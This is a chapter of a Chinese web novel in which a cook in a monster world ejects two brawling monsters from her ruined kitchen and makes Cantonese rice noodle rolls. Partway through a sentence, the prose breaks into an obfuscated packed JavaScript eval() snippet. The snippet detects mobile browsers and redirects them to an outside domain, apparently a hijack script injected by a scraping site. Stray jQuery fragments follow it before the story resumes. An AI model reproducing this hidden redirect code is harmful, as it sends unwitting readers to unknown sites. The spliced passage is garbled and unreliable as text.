44.广式肠粉

作品:《怪物世界靠美食生存日志

    “啊啊啊!你才该死,怪你把我弄晕,才没法和大人解释!”百眼蛇怪吐着猩红舌头,卷着身躯灵活躲闪,似乎要寻找机会将眼前的小羊卷起来吞掉。


    “偷吃贼子还敢放肆,不用小小亚兽动手,我这会就把你弄死。”安德鲁怒火中烧,从行囊中狠狠地掏,百宝袋似的丢出去各种各样的道具。


    一沾上就猛烈灼烧的药粉,腐蚀性极强的奇怪液体,味道无敌恶心一闻头昏脑涨的药剂,再到黑漆马虎洗不掉模糊双眼的烟雾……


    好家伙!如此“猛烈”的攻击下,百眼蛇怪是一下都没中,【餐厨区】倒是全中了!


    橱柜被腐蚀的缺了个角,打斗撞的摆好的调料都碰烂滚落在地上,随着几声“乒铃乓啷”的巨响,一股子酒味袭来,惹得阿里花和姜脆脆齐声叫喊:


    “住手!!”“啊,我的酒!!”


    原先干净亮丽的【餐厨区】从小清新变成了叙利亚风,看得姜脆脆脑门突突地疼,心在滴血!


    “再打,都给我滚出去!”


    一声带着怒意的喊叫猛地打断了两怪的打斗!两怪不约而同地停了手,转头望去姜脆脆的方向。


    只见眼前小小亚兽早已气得不行,胸膛起伏着,脸色又黑又红,手里紧紧捏着变大的“厨师刀”。


    “额……”


    两怪咽了咽口水,对视了一番,不知谁的动作踩到了什么,“嘎吱”一声,临近掉落的木质橱柜门终于坚持不住,“啪”地掉落,随之斜着的几只酒瓶跟滑滑梯似地一瓶接着一瓶滚落地上,发出尖锐刺耳的声音……


    一瓶、两瓶……


    安德鲁下意识想要伸手接过,这时!一道凌冽的光猛地袭来,带着风声划破了它的手掌,直直地插在了橱柜门上。


    好险!它瞬间瞪大了眼睛。


    细密的汗打湿额间毛绒绒的刘海,它侧目看去,原先在亚兽手里的刀直直地插在了橱柜上,形成了一个阻挡物,抵挡住了下滑的酒瓶。


    刀入木三分,可见原主人的怒气之旺盛。


    “都给我滚出去!”


    ……


    咱们也没打了啊!


    百眼蛇怪和安德鲁莫名乖巧地站在餐房车的门外,跟罚站似的。这下,谁也没再动手,尴尬地不敢对视,只得各自眺望远处的风景。


    不远处撕扯着腐肉的秃鹫怪侧目瞧着俩狼狈家伙,不由得嗤笑:怎么还被小小亚兽赶出来了。


    才微微分神就被同伴抢去了口中之食,气得猛猛啄去!又闹起争食大战,引起不远处的两怪关注。


    果然,在别人眼里的自己都是一道不一样的风景,各有各狼狈,谁也不能笑谁。


    ……


    【餐厨区】里姜脆脆和翡翠星员工们在一起打扫维护,好在之前并没有将酒都放在一个“篮子”(橱柜)里,反复清点了破损情况,还是损失了近乎八分之一的美酒。


    姜脆脆气得打颤,眼睛微红。


    这都是阿里花,甚至是吉里花之前酿的酒,有一定年份和感情,很多她都还没尝过呢,被无端打烂好可惜!


    “阿里花,对不起……”


    难过的声音传来,阿里花转头看到大人咬着下唇,一脸要哭出来的模样,叹气:“还好大人刚才那神来一招!保住了剩下的酒。”


    说着学着姜脆脆刚才飞刀的姿势,滑稽地比划比划。


    姜脆脆咧了咧嘴,确实又被冷笑到。


    她吸了吸鼻子!要不是有求与安德鲁带路,她真的想把这两怪都丢出去开车跑掉。


    至于这百眼蛇怪的态度,怎么这般奇怪。对她似乎没有仇恨或者怨怼,甚至还喊她“大人”?这不是只要阿里花,或者是莱恩镇的镇民才会这样称呼她。


    再者奇怪的是,她分明见到安德鲁下了药,怎么百眼蛇怪中途能醒来,还偷吃了她的卤肉。


    一想起千辛万苦熬夜做的卤肉被啃食殆尽,剩余的汤汁洒了一地不说,连好好的高汤都被糟蹋了!


    “咕噜~咕噜~”


    鬃毛犬苏迪瞧着一地狼藉飘着余香的卤味,咽了咽口水,肚子发出巨响。


    气氛一滞,阵阵低笑袭来。


    “算了,收拾收拾后,先做个吃的再想!”


    至于在外“罚站”的两怪,就别想吃了!反正“猫牙丁”风暴暂歇,没风暴外面安全得很!


    想罢,姜脆脆打算又熬起高汤继续做卤水,既然百眼蛇怪偷吃卤味到至今一点事情没有,说明香料确实无毒,至于味道吧,瞧着偷偷舔地面的苏迪就知道尚可。


    “苏迪,别舔了,等会就吃早饭!”


    早饭吃什么呢?


    快手菜,做个“广式肠粉”吧,顺带将[猫牙丁]提前泡好,可以再煲个“瘦肉粥”留午饭配炒“土豆粉条”吃,到时熬好的卤味也能当配菜。


    有[猫牙丁]的存在,米的作用可多着呢!可以将泡好的米打磨成粘米粉。


    目前有的粉类是[土豆淀粉],在【合成箱】转化成[小麦淀粉]。


    那[粘米粉]不知能换成些什么呢?


    再说了之前与甘蔗类似的[玉管虫],糖分颇高应该能熬出不同风味的糖,可以试试自制红糖。


    想着,姜脆脆手上功夫不停,将[猫牙丁]上面的小小绒毛去掉,将米粒洗干净,分成两大盘。


    一盘用于快速浸泡,等候打磨成米浆,加入[小麦淀粉]做成“广式肠粉”的底浆。按常规的配方,一般是用[粘米粉]、[小麦淀粉]或者[红薯淀粉]做配比加水混合做米浆的,可惜没有现成的,就只能按水和米的结合泡打现成。


    另一盘则是要一段长时间的浸泡,同样是要用水将米泡软,后续再滤出晾干米再打磨成[粘米粉]。


    二者做法相同又不同,前者为了快速,后者为了做出干燥[粘米粉]用于自用或者到【合成箱】兑换。


    唯一相同的则是,都需要泡水,将米泡软,打磨时可以让米浆更加细腻,愈发细腻的口感再后续烹饪中更容易“糊化”,凝结的效果更加。


    将前者混水打磨的快速版[粘米粉],混合小麦淀粉也就是澄粉,将入岩盐和少许化开晾凉的猪油,基础的肠粉粉浆就备好了!


    将[大炒锅]


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959229|172267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转换为[肠粉蒸柜],一个方形大家伙就出现,里头有着一个个跟抽屉式托盘,超薄刚好是一勺米浆铺满的厚度。


    提前准备好配料:


    第一,自然是腌制的[菱角豚]肉片,做肉片肠必备,当然还可以做“猪肝肠”“猪腰肠”,可大早上弄这些实在费劲,先弄个肉片肠试试水。


    第二,[香蒜菜]冠状位置切粒当“葱粒”,后续备用。


    第三,用“葱”“姜”爆炒后加入【美味buff调料】里头的生抽、岩盐和水熬煮特制酱油,顺带放一点点“土豆淀粉”勾芡,让酱油口感更加顺滑粘稠。


    喜欢吃辣的可以将[毒钩刺]切段,放入【美味buff调料】中兑换的白砂糖、和生抽爆炒后,偏甜口的辣味版特制酱油就做好了。


    一切工具准备就绪。


    姜脆脆意念一动,[肠粉蒸柜]下猛猛冒火,连接的蒸柜底下的水被沸腾冒起的蒸气成雾,阵阵热气袭来。


    抽出托盘,托盘上刷上油防粘,将米浆细细铺满托盘,再挖一勺肉均匀抹开,撒上“葱粒”后就塞回蒸柜,几个托盘继续重复同样的步骤。


    在高压高温蒸柜下,一抽屉要蒸熟需要20秒不到,等再次拉出托盘时,里头原先米白色的米浆熟了凝成薄薄的熟粉,用铲子推起,粉质有弹性被挤压成漂亮的褶皱,肉片夹杂在熟粉里头被卷起,浇上特制酱油,一道“广式肠粉”就出炉了。


    这种“广式肠粉”在广东大街小巷几乎十步就有一家,主打一个快速高效,口感也相当不错。


    不同于水晶香菇肉饺的嚼劲,一口爆汁。“广式肠粉”的粉质口感更下细腻丝滑,被蒸气整出来的粉感几乎没有,又薄又滑,配上特制酱油,特别是辣椒圈那种,一口下去,肉香与葱香以最原始的味道从嘴里爆开,带着点点酱油以及辣椒后劲,特别开胃。


    而且超快,几怪排着队,两抽屉托盘的粉是一份的量,浇上酱油就可以享受美味了。


    所以一顿下来,只要炉子不停,粉浆和肉还在,就能一直快速制造下去,不到10分钟,几乎每怪手上都呈上了一碟子“广式肠粉”。


    都纷纷埋头啃食着,大快朵颐的声音馋得罚站两怪的肚子饿的咕咕直叫。尤其是百眼蛇怪,它身长柔软,可以附着在餐车外偷看,见到它们都吃着美味的肠粉,馋得口水都留下来了。


    更别说熬煮在一旁的卤味高汤,阵阵香味袭来,简直就是痛苦的折磨。


    “好想吃!”


    “别想了,就你……尾随前来复仇,还差点被[猫牙丁]风暴弄死,跑去仇人面前求救,被救以后还偷吃被发现大闹一顿,种种情况下,估计那亚兽不会放你进去的。”


    安德鲁在一旁泼冷水,它确实莽撞了,和这该死的蛇怪闹起来,害得早上没有早饭吃!


    不过不要紧,它还要给亚兽带路呢,等她气消了!它就能吃上饭了,不知道午餐和晚餐吃什么呢?!


    百眼蛇怪一听坐不住了,冤枉啊!


    “你胡说什么!我怎么会找大人复仇呢!”


    “我是来谈生意的!”